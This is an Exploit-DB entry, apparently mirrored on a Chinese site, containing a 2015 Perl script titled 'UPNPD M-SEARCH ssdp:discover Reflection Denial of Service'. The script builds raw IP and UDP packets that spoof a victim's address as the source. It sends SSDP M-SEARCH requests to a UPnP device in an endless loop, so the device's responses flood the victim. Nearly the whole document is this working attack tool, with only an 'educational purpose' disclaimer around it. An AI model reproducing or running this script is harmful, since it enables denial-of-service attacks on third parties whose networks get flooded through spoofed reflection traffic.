UPNPD M-SEARCH – ssdp:discover Reflection Denial of Service

  • 作者: Todor Donev
    日期: 2015-07-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37561/
  • #!/usr/bin/perl
    #
    #upnpd M-SEARCH ssdp:discover reflection 
    #
    #Copyright 2015 (c) Todor Donev 
    #todor.donev@gmail.com
    #http://www.ethical-hacker.org/
    #https://www.facebook.com/ethicalhackerorg
    #
    #The SSDP protocol can discover Plug & Play devices, 
    #with uPnP (Universal Plug and Play). SSDP is HTTP 
    #like protocol and work with NOTIFY and M-SEARCH 
    #methods.
    #
    #
    #Disclaimer:
    #This or previous program is for Educational
    #purpose ONLY. Do not use it without permission.
    #The usual disclaimer applies, especially the
    #fact that Todor Donev is not liable for any
    #damages caused by direct or indirect use of the
    #information or functionality provided by these
    #programs. The author or any Internet provider
    #bears NO responsibility for content or misuse
    #of these programs or any derivatives thereof.
    #By using these programs you accept the fact
    #that any damage (dataloss, system crash,
    #system compromise, etc.) caused by the use
    #of these programs is not Todor Donev's
    #responsibility.
    #
    #Use at your own risk and educational 
    #purpose ONLY!
    #
    #Wireshark: 
    #udp.port eq 1900 || frame contains "HTTP/1.1 200 OK"
    #
    #See also:
    #SSDP Reflection DDoS Attacks 
    #http://tinyurl.com/mqwj6xt
    #
    
    use Socket;
    
    if ( $< != 0 ) {
     print "Sorry, must be run as root!\n";
     print "This script use RAW Socket.\n"; 
     exit;
    }
    
    my $ssdp 	= (gethostbyname($ARGV[0]))[4];		# IP Address Source	(32 bits)
    my $victim 	= (gethostbyname($ARGV[1]))[4];		# IP Address Source	(32 bits)
    
    print "[ upnpd M-SEARCH ssdp:discover reflection ]\n";
    if (!defined $ssdp || !defined $victim) {
    print "[ Usage:$0 <upnpd> <victim>\n";
    print "[<todor.donev\@gmail.com> Todor Donev]\n";
    exit;
    }
    print "[ Sending SSDP packets: $ARGV[0] -> $ARGV[1]\n";
    socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
    setsockopt(RAW, 0, 1, 1) or die $!;
    main();
    
    # Main program
    sub main {
    my $packet;
    
    $packet = iphdr();
    $packet .= udphdr();
    $packet .= payload();
    # b000000m...
    send_packet($packet);
    }
    
    # IP header (Layer 3)
    sub iphdr {
    my $ip_ver 	= 4;				# IP Version 4			(4 bits)
    my $iphdr_len	= 5;				# IP Header Length		(4 bits)
    my $ip_tos 	= 0;				# Differentiated Services	(8 bits)
    my $ip_total_len 	= $iphdr_len + 20;		# IP Header Length + Data	(16 bits)
    my $ip_frag_id 	= 0;				# Identification Field		(16 bits)
    my $ip_frag_flag 	= 000;				# IP Frag Flags (R DF MF)	(3 bits)
    my $ip_frag_offset 	= 0000000000000;		# IP Fragment Offset		(13 bits)
    my $ip_ttl 	= 255;				# IP TTL			(8 bits)
    my $ip_proto 	= 17;				# IP Protocol			(8 bits)
    my $ip_checksum	= 0;				# IP Checksum			(16 bits)
    # IP Packet construction
    	my $iphdr	= pack(
    			'H2 H2 n n B16 h2 c n a4 a4',
    			$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
    			$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
    			$ip_ttl, $ip_proto, $ip_checksum,
    			$victim, $ssdp
    			);
    			return $iphdr;
    }
    
    # UDP header (Layer 4)
    sub udphdr {
    my $udp_src_port	= 31337;			# UDP Sort Port		(16 bits) (0-65535)
    my $udp_dst_port	= 1900;				# UDP Dest Port		(16 btis) (0-65535)
    my $udp_len		= 8 + length(payload());	# UDP Length		(16 bits) (0-65535)
    my $udp_checksum 	= 0;				# UDP Checksum		(16 bits) (XOR of header)
    
    # UDP Packet
    my $udphdr		= pack(
    			'n n n n',
    			$udp_src_port, $udp_dst_port,
    			$udp_len, $udp_checksum
    			);
    	return $udphdr;
    }
    
    # SSDP HTTP like (Layer 7)
    sub payload {
    my $data;
    $data .= "M-SEARCH * HTTP\/1.1\r\n";
    #$data .= "HOST:239.255.255.250:1900\r\n";		# Multicast address
    $data .= "ST:upnp:rootdevice\r\n";			# Search target, search for root devices only
    $data .= "MAN:\"ssdp:discover\"\r\n";
    #$data .= "MX:3\r\n\r\n";				# Seconds to delay response
    my $payload = pack('a' . length($data), $data);
    return $payload;
    }
    
    sub send_packet {
    while(1){
    select(undef, undef, undef, 0.10);			# Sleeping 100 milliseconds
    send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ssdp)) or die $!;
     }
    }